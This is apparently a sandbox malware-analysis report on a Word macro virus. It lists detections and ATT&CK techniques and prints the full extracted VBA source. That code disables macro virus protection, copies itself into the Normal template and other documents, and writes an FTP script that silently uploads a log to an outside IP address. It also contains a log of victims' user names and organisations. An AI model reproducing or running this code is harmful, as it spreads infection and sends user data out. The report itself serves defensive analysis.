MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1037.004 Registry Run Keys / Startup Folder
The sample contains VBA macros that disable macro security and attempt to replicate themselves. The macro code also writes a second-stage payload to 'C:\hsf*.sys' and a configuration file to 'c:\netldx.vxd', which includes an IP address '209.201.88.110' and FTP credentials. This indicates a downloader or dropper functionality.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-7372010-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7372010-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6300 bytes |
SHA-256: e2af30fdf00210cde3a534ffd6beb972497c642f1b1edbe08d5cfaf1324dd595 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For I = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next I
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For I = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next I
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 12:04:46 PM - Wednesday, 23 Dec 1998
' BCBSA
'
' 11:32:13 AM - Thursday, 24 Dec 1998
' BCBSA
'
' 11:43:52 AM - Monday, 28 Dec 1998
' BCBSA
'
' 12:03:48 PM - Wednesday, 6 Jan 1999
' Tricia
'
' 11:45:55 AM - Thursday, 14 Jan 1999
' Debra C. Hopkinson
'
' 09:27:34 AM - Friday, 15 Jan 1999
' Rajeev Duggirala
'
' 02:35:40 PM - Thursday, 28 Jan 1999
' Krishna Devulapalli
'
' 09:17:55 PM - Thursday, 4 Feb 1999
' Muralidharan Swaminathan
'
' 02:49:41 PM - Monday, 8 Feb 1999
' cyber
'
' 08:59:15 PM - Monday, 15 Feb 1999
' xx
'
' 01:02:02 PM - Friday, 19 Feb 1999
' RAMESH
'
' 06:49:26 PM - Monday, 22 Feb 1999
' itm2
'
' 08:10:31 AM - Wednesday, 24 Mar 1999
' krk
'
' 05:15:51 AM - Tuesday, 9 Mar 1999
' krk
'
' 02:03:07 PM - Saturday, 13 Mar 1999
' sdddcsudhers0n
'
' 07:07:23 PM - Friday, 26 Mar 1999
' AJAY
'
' 02:54:51 PM - Friday, 23 Apr 1999
' Naveen
'
' 06:42:34 PM - Saturday, 24 Apr 1999
' George
'
' 12:06:43 PM - Wednesday, 12 May 1999
' TITANIC
'
' 03:12:09 PM - Thursday, 27 May 1999
' TITANIC
'
' 02:32:48 TITANIC - Thursday, 3 Jun 1999
' TITANIC1
'
' 04:36:24 PM - Saturday, 12 Jun 1999
' libi
'
' 08:37:46 AM - Wednesday, 25 Aug 1999
' ÅíÏþ±ø
'
' 06:48:48 PM - Saturday, 24 Apr 1999
' ComputerRoom
'
' 12:32:41 PM - Thursday, 16 Sep 1999
' xuy
'
' 03:16:03 PM - Thursday, 2 Dec 1999
' xuy
'
' 09:28:40 AM - Wednesday, 3 Dec 1997
' zzj
' zhaozhanjie@21cn.com
' 08:20:20 PM - Sunday, 19 Dec 1999
' zsq
'
' 08:54:10 AM - Friday, 17 Dec 1999
' mazc
'
' 03:14:19 PM - Wednesday, 19 Jan 2000
' ma
'
' 10:14:29 AM - Thursday, 4 May 2000
' mazc
'
' 12:12:03 AM - Tuesday, 1 Jan 1980
' mazc
'
' 06:35:29 PM - Wednesday, 9 Aug 2000
' ¼ì3-3
'
' 09:50:03 AM - Monday, 14 Aug 2000
' aa
'
' 01:36:14 AM - Friday, 23 Mar 2001
' Îâ̩˳
'
' 12:49:10 PM - Sunday, 1 Apr 2001
' 22
'
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.